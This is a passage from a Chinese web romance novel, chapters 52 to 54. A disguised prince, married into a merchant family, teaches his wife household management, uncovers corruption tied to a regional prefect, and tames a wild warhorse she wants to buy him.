沈昭予抿着唇,沉默半晌,转身离开。 没一会,端着个盘子回来,见她仍然一动不动“死”在那,他叹了口气。 把盘子放下,抬手揉揉她脑袋,语气和缓:“早上命人做的,做都做了,别浪费。” 宋星糖噌地抬头,鼻子轻嗅,口水差点流出来。 “好香好香。” 沈昭予无奈道:“吃吧,吃饱了,我再教你。” 他这辈子,大概也就这样了吧。 第52章 第52章凑合过吧,还能离啊。…… 【52】 等沈昭予事无巨细、掰开揉碎地跟宋星糖讲完管家思路,半天时间过去了。 沈昭予拖着疲惫的身躯出门时,满脑子都是后悔的念头。 若让他亲自来管,每日不过半柱香时间。 交给她来,半日功夫都搭进去了。 减负减负,怎么越减越负呢? 好生奇怪。 有这半天时间,他干点什么不好? 他能见一个合作商,再去商铺和码头转一圈。能将底下送上来的账目核算完毕,再将江行送来的密报批复,并下达新一步的指令。 半日时间,能干好几件事。 结果现在全都耗在宋星糖身上了! 从前一份时间恨不得分成两份来用,现在两份时间都伺候不好一个宋星糖! 蹉跎岁月,罪孽深重!不可饶恕!! 沈昭予手搭在门上,目光坚定。 等会非得好好说说她不可。 “鱼鱼,你看我这样做对不对?” 身后传来女子心虚无力的呼唤。 沈昭予带着满腔决心回头,对上女子胆怯试探的目光。 见他看过来,她赧然地搓了下手指,局促地将一张写满字的纸双手奉上。 “我、我尽力将你说的关键都记下来了,不知是否有遗漏,也不确定是否全然领悟你的意思,请你过目,帮我看看可有错误之处?” 沈昭予接过纸,上头墨迹未干,沉默片刻,才道:“不必这般用功,这只是小事,不会也没关系。” 宋星糖摇摇头,“阿娘在我这个年岁时,已经创办了宋氏的第一间成衣铺,我虽没有阿娘的经商头脑,但也不想连家都管不好。你说得对,我不该总是心软。” 她掰着手指头,细数:“给我茶里加了玫瑰花,帮我抓住被风吹走的画纸,陪我背书并在一旁夸我,都是她们分内之事,不该因此而赏。” 她思忖片刻,又想起来几桩,继续反思:“我不该用银子来诱惑云儿,让她把正餐全都换成糖糕。更不该给在场的人都发钱,让她们看在钱的份上,都瞒着你。” “……” 再一次听她说发赏钱的理由,沈昭予还是气得想笑。 鸡毛蒜皮的小事她赏就赏了,顶多算铺张浪费大手大脚。 可这贿赂封口,性质大不相同。 短短时日,她好的没学会,竟学会靠花钱来满足自己非正当的欲望。 长此以往,还了得吗? 这要是个官,早晚得往他的刑部走一趟。 怪道当初能把一屋子财宝随意扔在安济寺中。 他看人真准,她果真是散财仙女转世,钱拿在手里烫手,非得扔出去才顺心。 沈昭予觉得自己这个赘婿做得,比做一军统帅时还操心劳神。 这个困难的症结在于,手下人不听话,可以军法处置,高压严苛的规矩下,没有约束不好的兵。 可对于宋星糖,他实在左右为难。说重了他舍不得,说轻了又担心无用。 若她的脑袋依旧锈得转不动,这些活儿还是自己来担吧。 她每日专注吃喝玩乐,就是对他最大的关爱了。 疲于应付,沈昭予果断选择将事情全都包揽。 到手的家务又被收回,宋星糖终于露出一个灿烂笑容来。 “我虽然也很想努力,可真的力不从心哇,我还是先把书背会叭。” 唯唯诺诺的嘴脸消失,她哼着歌,脚步欢快地越过他跑了。 沈昭予手里还捧着她的“呕心沥血”之作,后知后觉—— “本王是被骗了吧?” “是被骗了,嗯,本王就是被骗了。” 江行捂着耳朵,不知第多少次在心中腹诽:“是啊是啊是被骗啦,人家姑娘勾勾手,就上当啦。” “她竟敢跟本王装可怜!” 沈昭予熬到后半夜,熬得两眼发红,怒而拍桌。 “日日都在本王眼皮子底下,怎么突然就学坏了!” 江行竖起手指放在嘴边,“嘘嘘嘘!您小点声,回头把人吵醒了!再给人发现属下在。” 沈昭予的怒火顿时转移,“被人发现?你是吃干饭的?没本事当什么暗卫。” 江行:? 不是。 怎么还有他的事? 为了这事能尽快翻过去,江行好汉不吃眼前亏,选择默默闭嘴挨骂。 好在沈昭予急着去睡觉,没把多余的精力浪费在发火上。 “对了殿下,白天宋遥一醒,就有一封密信送了出去。” 沈昭予头都没抬,一目十行,飞速在心中核算织造局的账册——这是傍晚秦知期派人送来的,什么都没说,只交了一本账册给他。 宋氏的丝织生意不归秦知期管,也不知他是从什么渠道获得的账册。 江行盘腿坐在梁上,头靠着柱子,若有所思。 “虽醒了,但人中风,握笔都发抖,信……谁写的?” 一张薄薄的信纸夹在指尖,江行举高手,抖了抖,喃喃念道:“春迟来,冰难破,等来月。” 就九个字。 看不太懂,但肯定不是替白氏求情的信。 想想也是,白氏人都被休了,二房这一招断尾求生,干脆利落,显然不似表面上那般懦弱无能。 这个宋二爷,怕是和那位宋二小姐一样,都是个深藏不露的主。 “宋遥的中风多半是在掩人耳目。” “信很显然是写给故旧看的,内容是机密,不可轻易被外人窥视。宋洛繁实在不像是会说谜语的人,至于那位二小姐,就算如今能说得上话,以前也不能,这封信也不会出自她手。那就只剩下两个人了。” 宋遥,钱氏。 纵观二房上下,也就只有这两位,有理由与外头“里应外合”。 “最终还是落到这对母子身上。”江行摇头叹道,“殿下真乃先知卓见,早在入府时便察觉出那二人心里有鬼。” 幸好沈昭予的多疑作祟,早早想好各种应对之策,一直派人暗中盯着。若非如此,他们想挖出二房的底,怕还得多花几日功夫。 主仆俩一个埋头狂算,一个自问自答,互不干涉,十分和睦。 直到四更天,沈昭予才将厚厚的一沓账册合上,放到一边。 细微的声响令江行陡然清醒。 睁眼那一刻,眼底的困倦便消散了,一双眸子亮得惊人,清澈的瞳中映出与他纯良的外表迥然不同的锐利。 他翻身下梁,站姿挺拔,垂着头,将密信恭敬奉上。 男人接过信,只扫上一眼,便看透其意。 他言简意赅道:“信是送给刘荣元的。” 江行一愣,“送到刺史府?” 刘荣元,越州刺史。 春迟来,冰难破,是在说“赵鱼”。 冰水难化,鱼难入网。冰层太厚,除不掉,他拿“鱼”无可奈何。 因为有赵鱼的妨碍,导致他的原定计划一推再推。 推到何时才能有转机呢? ——等到来月。 “这是宋遥的搪塞与告罪。” 宋遥靠不住,被耽误了事的大官自然不会坐视不理。 谁都知道,怀王殿下与大理寺的人都来了江南一带。 此时最忌徒生变数,赵鱼显然就是整个越州城中最大的变数。 甚至等不到来月,只等这信送到时,那些人便会有所动作,计划着除掉他这条捣乱的鱼。 沈昭予笑了笑,将信扔回去,“照常送去,莫让人起疑,本王等着他们出招。” 江行心道,这回可得警惕些, 不能又被人背后捅刀子。 “您既已有安排,龙三的命可还要留着?” 信是江行从一个叫龙三的山匪手里截获的,龙三骨头硬,什么都没说,江行等人不擅刑讯,空有一膀子力气。 可审讯一事,光有力气可不行,什么都没问出来,倒把人打死了,那才是得不偿失。 “龙三。” 沈昭予冷笑一声。 江行摸不准这一声笑,试探道:“这个龙三就是当初在安济寺山下拦截大小姐的山匪头领,他被您射瞎了一只右眼,还敢跟着宋遥做事,可见他们关系密切,连送信这种要紧事都让他做,要么是宋遥手里没有别人可用,要么就是这个龙三是心腹,至关重要。” 江行犹豫片刻,说道:“您当初放虎归山,不追查其下落,除却为了麻痹二房,令其松懈,二则也是为了今日好一网打尽吧?” 这是他们殿下一贯的风格,喜欢谋定后动,一网打尽,省时省力,干脆利落。 沈昭予一挑眉梢,“不错,猜得很对。” 江行不好意思地挠头笑了,心道成婚也有好处,总觉得近来主子的脾气被磨得,变得不可思议的好。 对于每颗棋子如何摆放,沈昭予心中都有数。他简短交代几句,便摆摆手,命江行退下。 将书案清理干净,各归各位,摆放整齐,沈昭予才回房睡下。 第二日清晨,宋星糖醒时,枕边已不见人。 沈昭予早出晚归,忙一整天,回来还要指导宋星糖的功课,等顾完这头,哄着人睡下,他回到书房时,已经过了亥时。 先处理秦知期送来的账本,再批复自己这边的公务。 天又亮了。 一连几日,皆是如此。 铁打的人都受不了。 他不能骂宋星糖,还不能骂秦知期吗? 沈昭予顶着一双青黑的眼睛,将秦知期堵在门里。 他一拳捶在门板上,冷冷道:“秦大管家,你每日送一本织造局的账册,是何用意?你把自己该管的事都扔给我,现在又从别人那抢活来压榨我,我看你不是怕我跑了,你是嫌我还没累死!你们家那个叫耿建的掌柜呢?他难道不是真正管着织造局的人?他是傻了还是死了,需要你帮他干活?就算你想夺耿掌柜的权,你自己上就是了,非扯上我?你不认字还是不识数,账本不会自己看?真拿我当驴使?” 秦知期:“……” 好气口,都不喘,这就是习武之人的底气吗? 秦知期偏头看了一眼沙包大的拳头,后撤一步,退回屋里,朝对方伸手让坐,“姑爷,息怒,有话好说。” 沈昭予没法好话好说。 他早知道秦知期用心险恶,却没法不往圈套里钻。 早上的时候,江行看他走路发飘,没忍住问他:“那账本您不看不就行了?反正知道肯定有问题。” 沈昭予答曰:“活儿就在眼前,岂有不干之理,看着碍眼,不处理干净太难受。” 秦知期看透了他的性子,将他狠狠拿捏。 沈昭予想想就来气。 房门关闭,两人“唇枪舌剑”地进行了一场会谈。 沈昭予再从门里出来时,面上仍带着怒气。 秦知期久久坐在椅子里,捏着茶盅的手不住发抖。 管事担心出事,到近前上下打量,忧心忡忡,“您还好吗?姑爷……打您了?” 秦知期摇摇头。 叹道:“他竟都知道。” 管事大惊,忙去将门关死,“您说什么?!姑爷知道?!” 秦知期想起男人临走时,不耐烦地撂下的话—— “我知你早想把宋府的蛀虫都清掉,你见我不怕得罪人,就如同抓住救命稻草一般,慌不择路。这般不稳重,不冷静,但凡出一点纰漏,就是将把柄往人手里送。” “你当我不清楚账本里有猫腻?不知道宋府有人与朝廷勾结?耿建有问题,我一眼就看了出来,不用你这般拐弯抹角,每日送一本来提醒暗示我。” “你既然投鼠忌器,想要顾全大局,那这个缩头乌龟你就给我当到底,继续不看、不听、不说,还当不知道。” “就像李夫人临终前叮嘱你的那样——别查。” 秦知期瞳孔骤缩,蓦地站起身,险些将茶壶掀翻。 他声音颤抖:“你,你究竟是什么人?!你是朝廷的人!” “我是你爹,还不跪下喊人。” 秦知期:“……” 沈昭予凤眼微挑,嗤笑道:“你家夫人刚过世时,你不是装得好好的?一副糊涂虫、想要攀附二房的样子,让人看了都来气,却比你现在顺眼的多。” “心思藏不好,就别往人前凑。”他警告道,“若叫刘荣元察觉不妥,我可要问你的罪。” “……” 秦知期一把将茶盅攥紧掌心,长长出了一口气。 他转头望向房间的角落,精心供奉的灵牌上。 “夫人,您一直盼着的人,终于还是来了。” ** 沈昭予骂完人,通体舒畅,心甘情愿地继续为宋氏当牛做马。 披星戴月回到霜星院时,宋星糖搬了个马扎,正坐在院子正中间。 从前还需要调整情绪,伪装出笑脸来,如今却不用,看到她心情自然变好,唇角上扬,愉悦的感觉顿时掩盖掉一身疲惫。 他加快脚步,朝她走去。 她也从小板凳上起身,冲着他奔来。 娇小欢快的身影映在黑瞳之中,她的笑容足以抚慰一切,令心变得安宁。 沈昭予停在原地,张开双手,稳稳接住了飞来的小炮弹。 “鱼鱼!你回来啦!” 女子轻盈的裙摆被风吹起,与他的袍子贴在一处。 怀中充盈那瞬,心底情思缠绵交织,一股冲动袭上心头,再难克制。 他低头望进那双晶莹透亮的杏眸,轻轻笑了一声。 抱着她的腰,将人举到与自己平视,轻抬下巴,吻了下去。 宋星糖的睫毛颤了颤,眼睛顿时更亮。并不羞赧躲闪,反而在他退开、把她放下的时候,踮起脚,勾住他的脖颈,又亲了回去。 沈昭予的心上似被猫爪挠了一样痒。 旁人无人地亲热,令暗中偷看的小丫鬟们纷纷脸热,四散开来。 没了看热闹的,沈昭予愈发肆无忌惮,扣着她的头,于黑夜中放纵满腔的相思。 半晌,嘴巴亲肿。 宋星糖回过神来时,人坐在书房中,面前摆着一本《九章算术》。 宋星糖:“……” 这不对吧。 大晚上的,要学算术?她抿着红肿的唇,满脸苦色。 她委屈巴巴,拉着男人的袖子,仰头求道:“我们学点别的行吗?对了,你的伤,都好了吧?” 沈昭予:? 他只当看不到她幽怨的眼神,听不懂她的暗示,轻咳一声,自顾自地念起经来。 九章算术,和经书差不多。 等终于把缠人的小姑娘念睡着,沈昭予才长长松一口气。 好险,差点让她把秘戏图掏出来。 他将人打横抱起,送回卧房,又回到书房,继续今日的工作。 二更才过,房门敲响,是秦知期身边的管事。 管事战战兢兢,腿直打哆嗦,顶着压力,讪笑道:“大管家说,这是最后一本,能者多劳,您既然看,就干脆都看完吧……” 沈昭予:“……” 沈昭予一把抽走账册,将门板狠狠拍在管事的脸上。 转身时,卧房里忽然发出一声嘤咛。 只听宋星糖哼唧着:“鱼鱼,我不学……” 沈昭予:“……” 他轻手轻脚,探出一个头,侧耳倾听。 应该是关门声太大,吵着她了。 沈昭予不敢再弄出大动静,命很苦地回去看账册,一看就到了寅时。 看得他一肚子火气,站在窗边,吹了小半个时辰的晨风,才勉强恢复平静。 将账本随手放在一旁,翻出下属刚递来的密信。 才看了两行,心里陡然又生出一阵无名火。 要不是为了宋星糖,他何至于在这里受苦! 等终于处理完全部工作,险些猝死在人夫岗位上的沈昭予一身疲惫回到房中,爬 到榻上,安详闭眼。 就在即将入睡之时,身侧女子忽然靠了过来。 她先是将手脚都缠到他身上,像一根藤,将他紧紧束缚。 而后鼻子发出轻嗅的声音,扭动着身子,往他怀里拱。 沈昭予额角突突地跳,下头也突突地跳。 蹭什么蹭,还让不让人睡觉了!一天拢共也睡不了两个时辰! 他抬手就要将她掀翻。 睡梦中女子忽然对着他的脖颈“啵啵”两声,低声叫他的名字: “鱼鱼好辛苦……” “最喜欢,喜欢你……”她似乎梦到什么美事,嘿嘿笑了一声,吸了下口水,不甚愿意地客套,“奖励你吃糖……不吃?那我不客气啦。” 边嘟囔边砸巴嘴,说着不给他吃糖,却把自己往他嘴边送。 沈昭予:“……” 他并不重口腹之欲,不喜味浓之物,更不爱食甜。 却无论如何,都舍不得拒绝这颗甜化人心的糖。 他叹了声,抬手将人搂紧。 也不跟她客气,一张嘴,就将她不住嘟囔的嘴咬住。 罢了,不就是累点。凑合过吧,还能离啊。 第53章 第53章“乖。” 【53】 看完全部的账册,沈昭予终于有了喘息的机会。 这一日,他决定奖励自己半日休息,在家陪宋星糖学算术。 江行:“……您确定是奖励吗?” 江行带着任务离开前,由衷发出一声疑问。 答案自然为,不是。 连第一页都没看完,沈昭予就宣告放弃,小课堂才开始就下课,连带着一起结束的,还有沈昭予难得的休假。 一直到从织造局离开,秦知期脸上的笑都没散。 他心里想什么,沈昭予一眼就能看穿。 沈昭予才不和他同病相怜。 宋星糖虽说学东西慢些,脑袋迟钝一些,但那并不代表,她学不会。 沈昭予心想,今日他跑,不是因为怕了她,更不是知难而退。 笑话,他堂堂怀王,怎么可能因为一点点小阻碍就退缩?? 他纯粹是因为,有更重要的事情在等着他解决,刻不容缓。 所以只能叫宋星糖再等一等了。 秦知期淡笑不语,时不时拿眼睛瞟沈昭予。 沈昭予暗中回瞪好几眼,等二人走出织造局,沈昭予才压低声道:“怎么,耿掌柜吃回扣给你吃酣畅淋漓了是吧?” 秦知期:“……” 笑容顿时没了。 笑容转移到沈昭予的脸上。 “莫急。”沈昭予回头望了一眼织造局的金字招牌,“好戏才刚刚开场。” “你,您要做什么?可否透露一二?”见男人看过来,秦知期忙解释,“一无所知的话,我只怕添乱。” “原来大管家有自知之明,那本……”沈昭予笑了声,“那我就放心了。” “赵公子,你究竟是谁?”秦知期犹豫道,“案子查清,你会离开吧?” 秦知期只隐约猜测出,沈昭予应当是从西北军营离开以后,升到京城去做京官。或许对方此行越州,本就别有目的。 以赵鱼展现出来的能力与手腕,若是赋闲回家,那才异乎寻常。若他是微服私访的京官,倒还说得过去。 只是……若他当真有其他身份,那他来宋氏做赘婿,更匪夷所思。 观其姿容,并不像是贪图美色、处处留情之人。 难不成真对大小姐一见钟情? 秦知期默默摇头,心里觉得不像。 他一边庆幸自己在茫茫人海中挑中了最强的助力。 一边又自责后悔,将一个注定会离开的人引到宋星糖的身边。 以前觉得这是天注定的姻缘,现在只觉得,或许会酿成有始无终的遗憾。 赵鱼若身份不俗,大小姐又该如何自处? 秦知期唉声叹气,魂不守舍。 沈昭予瞥他一眼,疑惑道:“大管家说话我怎么听不懂?什么离开,什么查案,我不明白。” 秦知期何尝看不出对方在装糊涂,可他又能做什么呢,他什么都做不到。只能沉默摇头,不再问了。 他不再吭声,问题却一直留在沈昭予的心里。 沈昭予整个下午都心烦意乱,办起事来更加雷厉风行。 他身边跟着的几个人,诸如秦知期、江行等人,要么察言观色的本领强,要么是深知其脾性,皆能少言便少言,能躲多远就躲多远,生怕触霉头。 唯有一个小伙计,是临时从织造局调拨来的,耿掌柜派来与新姑爷介绍情况,大约是年纪轻,压根不懂得看人脸色,直往枪口上撞。 沈昭予逮着人就是一通骂,骂完还不算,哪怕这事过去,他也会在不经意间,见缝插针地阴阳怪气。 把小伙计训得头昏脑涨,面如土色,如丧考妣。 等到事毕,沈昭予放人回去时,小伙计如蒙大赦,逃似得回去找耿掌柜诉苦。 人才走,沈昭予立刻变了脸。喜怒不形于色,瞧着就让人心生畏惧。 秦知期看得稀奇,“您不会故意做给他瞧的吧?” 沈昭予嫌弃地睨他,“不然?我在你们心里这么暴躁不讲理?” 江行、秦知期:“……” 能说什么? 只能纷纷摇头。 沈昭予上了马车,慢条斯理地掸去衣袍上沾染的灰尘,靠着车厢,阖眼补眠。 江行与秦知期随车骑马往回走,到半路,织造局的眼线就来回禀说,小伙计添油加醋倒了好一番苦水,说赵鱼此人空有皮囊,人看着精明,却是个一点就炸,徒有其表的。 说他一整个下午,因一时疏忽,算错三笔账,显然不是个细心的人。 还说他此番查账,阵仗虽大,但只是表面功夫,似乎只做给大管家看,明明肚子里没什么墨水,却要故意显摆,闹了笑话后,还恼羞成怒,发了好大的脾气。 说他夜郎自大,好大喜功,专横跋扈,盛气凌人。仗着自己是主子,骂得人毫无回嘴之力,之后还因无人敢违逆他而沾沾自喜。 总之,不足为惧。 秦知期叹息着挥退仆从,驱马凑近马车,隔着车窗,佩服道:“您究竟是个怎样的人,秦某当真越发糊涂了。” 赵鱼似乎将“演”字完美地融入到生活中,无论何时何地,都让人看不出破绽,让人深切地觉得,他就是你看到的这种人。 要不是秦知期见识过他素日的精明敏锐,险些就要被他骗过去,也以为他是个无能之辈。 这人以前到底是做什么的? 沈昭予仍闭着眼,哼笑一声,“若大管家见多了愚蠢的人,藏起拙来,也会得心应手。” 秦知期沉默片刻,直起身。 若追问去哪认识愚蠢的人,想来他定会回答——眼前不就有一个吗? 在一起待时间久了,他都能预测到赵鱼会说出什么恶毒的话。 秦知期垂眸苦笑,长叹一声。 一行人往城里走,路过城外马庄时,秦知期忽然见到一架熟悉的马车停在庄外。 他一勒缰绳,眯起眼睛,遥遥望去—— 那不是宋星糖吗。 ** “星糖妹妹,小心。” 周庭柏立在马车侧面,笑意盈盈,朝才钻出马车的人伸手。 只是话音落,他便被人一个大力拱到一边,险些摔一跟头。 周庭柏恼怒回头,却见一个面生的婢女淡淡睨他一眼,收回视线,将人搀扶下来。 宋星糖抬起头来,冲着青鸾灿烂一笑,道了声谢,才转过头对周庭柏道:“周二哥,你说的就是这儿吗?” “正是,此处马庄是我好友所开,全越州城最好的宝马良驹皆在此处。城里虽也有马市,但那些皆是卖给商户走卒拉货用的,血统低贱,毛色不纯,远不如这里的马漂亮、耐力好。” 周庭柏心里不甘,脸色有些苍白,“星糖妹妹若要买马,再没有比此处更合适的去处。” 宋星糖点头,豪气十足,“给鱼鱼买的,自然是要最好的,银钱不在话下!” 周庭柏一阵牙酸,勉强挤出个笑来。 听说宋二爷醒了,早上周庭柏跟着父母上门拜访。临离开时,周父忽然让他去探望宋星糖。 周庭柏以为他的事有转机,便兴致勃勃地去请人出来。 万没想到,正遇上打算出门的宋星糖。 更没想到,宋星糖会问他,哪里能 买到好马。 他正愁没有借口与人单独相处,他知道赵鱼和秦知期今日都不在家,不想错过千载难逢的机会,于是没问明缘由,急匆匆就和人出来。 路上一问才知,宋星糖要给赵鱼买马。 她说,赵鱼入赘之前,卖过一匹西域的好马,那是军中长官所赐,他为了葬父,竟是忍痛卖了。 她早上算不明白题,于是又去看话本,在一篇鬼故事中,少半边头的鬼骑了一匹汗血宝马,千里迢迢赴京喊冤,这叫宋星糖立刻回忆起与赵鱼初见的那个清晨。 她至今难忘男人骑在马上的身影。 未免再次忘事,她说干就干,立马让妙荷从小金库中数出来一百两零用钱,带上出门。 她也不知一百两银子够不够,若不够,还得将首饰抵押,再让人回来取钱。 好在遇上周二哥,他说一百两银子绰绰有余,还说赵鱼不能骑最好的,若是太好,越过了州府家的公子去,难免惹人生厌。 宋星糖觉得他言之有理,便不再执着买最好的马。 虽不能买最好的,也要买第二等好的。 她的鱼鱼,就要好马来配! 两人带着一众随从,入庄选马。 那边沈昭予从马车里钻出来,把车夫赶到一边,夺过缰绳,亲自驾车往庄子上赶。 看着男人阴沉的脸,压抑的怒火,以及用力咬合而鼓起的腮。 秦知期与江行对视一眼,纷纷抿紧嘴巴,沉默地跟了上去。 “这匹好看!这个好高!黑色的好,鱼鱼骑上肯定好看!” 宋星糖打马圈前走过,一一点评,每一个都极喜欢。 但听周庭柏说,这里一匹最便宜也要五十多两银子,她方才看的那几匹更是高达八十两。 她只带了一百两,只够买一匹。 宋星糖挑花了眼,踌躇不决。 周庭柏忽然笑道:“马是用来骑的,光看能看出什么来?不如我上马试一试,你看着若好,再定下。” 青鸾闻言眼皮一跳,警惕地看过去。 宋星糖没有多想,只觉得对方提了个绝好的主意,她忙不迭应声,不住夸赞:“还是二哥聪慧,我怎么就没想到呀!” 周庭柏勾唇一笑,从宋星糖最看好的那些中,挑了一匹通体赤红、毛色最纯正光亮、最为高大健的马,冲管事一抬下巴,语气傲慢:“就它吧。” 管事略有迟疑,劝道:“这匹叫凌风,听说是当年咱们和西素人打仗,大胜以后,西北那边送回来的俘虏战马,我家公子好不容易弄到手,养在这有大半年了,还没人能将它驯服。” “上个月王员外家的公子看中了,非要它,结果才上马就被甩了下来,王公子躺了一个月才能下床,我家公子还特意去赔罪。” 周庭柏诧异挑眉,“性子这么烈?” 管事叹道:“所以您还是换一批吧。” 周庭柏一句“那换一个吧”卡在嘴边。 宋星糖眨着大眼睛,直勾勾地看着他,叫他怎能轻易言退? 周庭柏硬着头皮,手指点了点凌风,“就它。” 他虽不擅骑术,但家里也养了好几匹烈马,他不信这匹马有管家说得那么难驯。 宋星糖就在旁边看着,若他能将管事口中这匹桀骜不驯的烈马降服,她定会对他刮目相看,心生崇拜。 男人的虚荣心与好胜心在这一刻战胜理智,周庭柏拉过缰绳,翻身而上。 “……” 沈昭予毫无意外被拦在庄外,他气得就要冲上去踹门,还是秦知期上前,靠一张熟脸成功被人放行。 秦知期紧跟在怒气冲冲的男人身旁,好笑道:“这些人都是势利眼,姑爷‘久居深闺’,他们没眼色,看不出您的尊贵,言语间多有冒犯,还请您息怒,别气坏了自个儿。” 沈昭予暗骂一声,“这儿是谁开的?” 秦知期沉默片刻,意味深长道:“刘松。” 姓刘。 沈昭予顿住脚步,“和刘荣元什么关系?” “刘大人的长子。” 沈昭予冷笑一声,这才抬头打量起四周来。 这个马庄占地少说有百亩,光是买地,就要花上不少钱。 “刘荣元真是好胃口。”沈昭予道,“只不过拓展人脉的法子略显老套。” 秦知期笑道:“姑爷英明,刘大人正是借长子开马庄为名,暗里行一些不宜摆在明面上的勾当。只是……刘大人是一方父母官,法子老套、被人看出来又如何?” 他不在意。 “难怪方才我会被拒之门外。”沈昭予斜着眼扫向秦知期,似笑非笑,“大管家能在此畅通无阻,想来这些年宋氏给刘荣元喂了不少粮。” “要生存,都是没法子的事,请您见谅。” 沈昭予两袖清风,自己的钱都拿来补贴将士,他没钱,就更看不惯这些尸位素餐、招权纳贿的贪官。 皇帝派他来彻查杭州贪腐一案,也正是利用他小心眼这一点,皇帝既想惩治贪官,充实自己的口袋,又怕得罪人,于是就让他来查,知道他无所忌惮,定能办好。 沈昭予正要出言嘲讽,忽听不远处一声尖叫。 沈昭予顿时变了脸色,夺过江行腰间佩剑,便腾空而起,直直朝西南方飞去。 众人只觉得眼一花,男人的身影倏然消失。 他轻松翻过一道道院墙,远远瞧见场上那匹发了狂的马。 马背上无人,周庭柏被甩了下去,背擦着地,被马拖行出去好远。 沈昭予微微眯眸,看清缰绳套在周庭柏的腕间,在剧烈的挣扎中反而扎成死结。 他如一阵风般穿过马场众人,随手一挥,用剑割断缰绳。转瞬间收剑入鞘,人落到马背上。 周庭柏最后在地上滚了一圈,停下时,已经昏了。 沈昭予双腿加紧马肚,一手拿剑,另一手拽着已被斩断大段、只剩一小截的缰绳,迅速转动手腕,缰绳缠绕几圈,用力一拉,手背青筋暴起。 赤色烈马长嘶一声,扬起的马蹄重重砸在地上,溅起一阵沙尘。 烈马横冲直撞,直奔人群中去。 众人惊慌四逃,青鸾揽住宋星糖的腰,足尖轻点,抱着人飞到了数丈以外,将人护在身后。 没了顾忌,沈昭予眸光微凛。 他伏低身子,贴在马背上,驾马疾驰。 风灌入袖中,猎猎作响,袍子打在马身上,那马更像疯了一样,拼命要将背上人甩下。 明明以往都能如愿,可此人却像和它长在一处似得,无论如何都摆脱不掉。 沈昭予唇角勾起一抹笑,猛地勒紧缰绳往一旁拽,硬生生将马头调转方向,双腿用力一夹,剑鞘拍了下马臀,烈马载着他朝着远方而去。 黄土漫天,马蹄高扬,男人身姿修长笔直,如一柄泛着冷光的利刃,凌厉锋利,带着种难以言喻的肃杀。 在马场兜了数圈,焦躁的烈马终于渐渐安静下来。 烈马载着人,缓步回到众人之间。 宋星糖扒着青鸾的胳膊看了全程,见他归来,没忍住“哇”了声,从青鸾胳膊下头钻出,就往外冲。 离得近了,只见男人抬手,五指轻抚马颈,感受到掌心下蓬勃有力的跳动,垂眸笑了一声。 “乖。” 他说。 宋星糖蓦地驻足,看呆了。 已近日落,霞光洒在他背后,将他的面容融在一片阴影里,可宋星糖却觉得—— 他好像在发光。 第54章 第54章急不可耐地,深深吻了下…… 【54】 沈昭予翻身下马,径直朝宋星糖走去。 他拉着人,上下打量,见她毫发无损,才松了口气。 瞥了眼一旁低眉顺眼的青鸾,道了声:“不错。” 青鸾头压得更低,早已吓得丢魂的妙荷与李嬷嬷面面相觑,也纷纷低头,掩去眼底的震惊—— 青鸾,竟也是个会武的。 沈昭予随手将宋星糖衣裙上的土掸掉,温声问道:“可吓着了?” 宋星糖的眼睛却没在他身 上。 她抻着脖子往后看,只见马场的小厮拉着缰绳,用力往回拉凌风,却拉不动。 凌风不安地跺动马蹄,喷吐鼻息,想要追着沈昭予走。 宋星糖歪了下头,忽然指着凌风道:“我要它!” 众人皆是一愣,小厮手一松,跌坐在地上,凌风迈着优雅的步子,片刻间走到近前。 这烈马方才桀骜难驯的模样吓坏了众人,见它靠近,纷纷都往后躲。 唯有沈昭予、宋星糖和青鸾三人还站在原地。 别人都怕,宋星糖却好奇张望,甚至想从男人的庇护圈中脱离,她感慨道:“它真漂亮,方才我就喜欢它,周二哥却说一匹马而已,能有多烈。哎,对了,周二哥呢?” 众人:“……” 沈昭予心里才起的酸劲儿就这么散了,手摸着她的脑袋,无奈地望着她。 宋星糖纳闷:“嗯?怎么啦?” “没什么,只觉得自己幸运。” 何德何能,能被她放在心上。不像周庭柏,喜欢上一个把他放在脚后跟上的小笨蛋。 宋星糖听不懂他在打什么谜语,不过应该是夸她吧? 她将目光从马上挪开,又落回在闪闪发亮的男人身上,两眼亮晶晶,咧嘴一笑,“鱼鱼,我们买下它,好不好?” 沈昭予心生一念,不确定道:“买它……给谁骑?我吗?” 若非给他,她应当不会问他。 宋星糖点头,“当然是送你的呀!漂亮的马送给漂亮的你!” 众人:“……” 一个男子,也能用“漂亮”来形容吗? 沈昭予看她半晌,再难克制心底胀胀的甜蜜,弯唇笑起来,“荣幸之至。” 他莞尔一笑,当真将那二字展现到极致。 色令智昏,宋星糖一阵目眩。 “来人呀,结账!” 她大手一挥,豪气万丈。 庄园管事才派人把周家二少抬下去医治,虚惊一场,心底的后怕余韵未消,正擦冷汗,一听这话,一阵喜悦顿上心头。 他堆起笑脸,拿着交易的契约,笑呵呵地:“姑娘可要一次性结清欠款?本庄提供分期结款,每月只须多付总价百分之三的利,有三月、六月结清这两种,您看?” 宋星糖一听数字就两眼转圈,她扶着沈昭予的手臂,晕晕乎乎道:“那都是多少啊?” 管事未语,沈昭予先笑了,“看来九章算术十分有必要再学下去,这么简单的算术糖儿都不会,以后如何来执掌家业?” 宋星糖该清醒的时候绝对不犯迷糊,她理直气壮道:“这不是还有你嘛?我只管吃喝玩乐就是。” 沈昭予笑笑不语。 “算了,我数不明白,直接结吧!”宋星糖拍板道,“多少银钱?” 管事微微一笑,“凌风是我们马庄里头一等的好马,要这个数。” 管事比了个五。 宋星糖惊诧道:“五十两?这么便宜?” 管事道:“五百两。” 宋星糖叫出声:“什么!这么贵!” “姑娘见谅,这毕竟是西域来的战马,身经百战,性子又烈,无论是哪方面都是别的马比不得的,贵有贵的道理嘛。” 宋星糖苦着脸:“道理我都懂,可是我……” 她就带了一百两呀! 沈昭予把人揽到怀里,将她的身姿掩住不叫人瞧,“终究是有缘无分,强求不得。况且……” 男人锐利的目光盯着管事,意味不明地笑了一声,“不合算的买卖,宋氏不做。这么个珍贵的宝贝,我们也吃不下,还是留给你主子独享吧。” 管事的冷汗唰得下来了。 高价买卖,可不止是因为一匹马。 通过交易,将暗渠里流出的赃款洗净,才是这个马庄存在的原因。 这个年轻男子话里话外,都在意有所指。 管事后悔不迭,不该狮子大开口漫天要价,这位宋家大小姐和他们没有利益往来,若要价太过,才会令人疑心。 管事忙躬身赔不是,“贵人言重,宋氏乃是咱们越州数一数二的大商户,是小的不会办事,您看,给您折价,如何?” 咦?竟然还能讲价吗? 宋星糖从男人胳膊里钻出脑袋,期待道:“能折多少?” 沈昭予垂眸,无奈看她。 管事察言观色,拿眼睛瞟了一眼身侧气势凌人的男人,试探道:“对半折价,二百五十两,如何?” 宋星糖眼睛一亮,刚要开口。 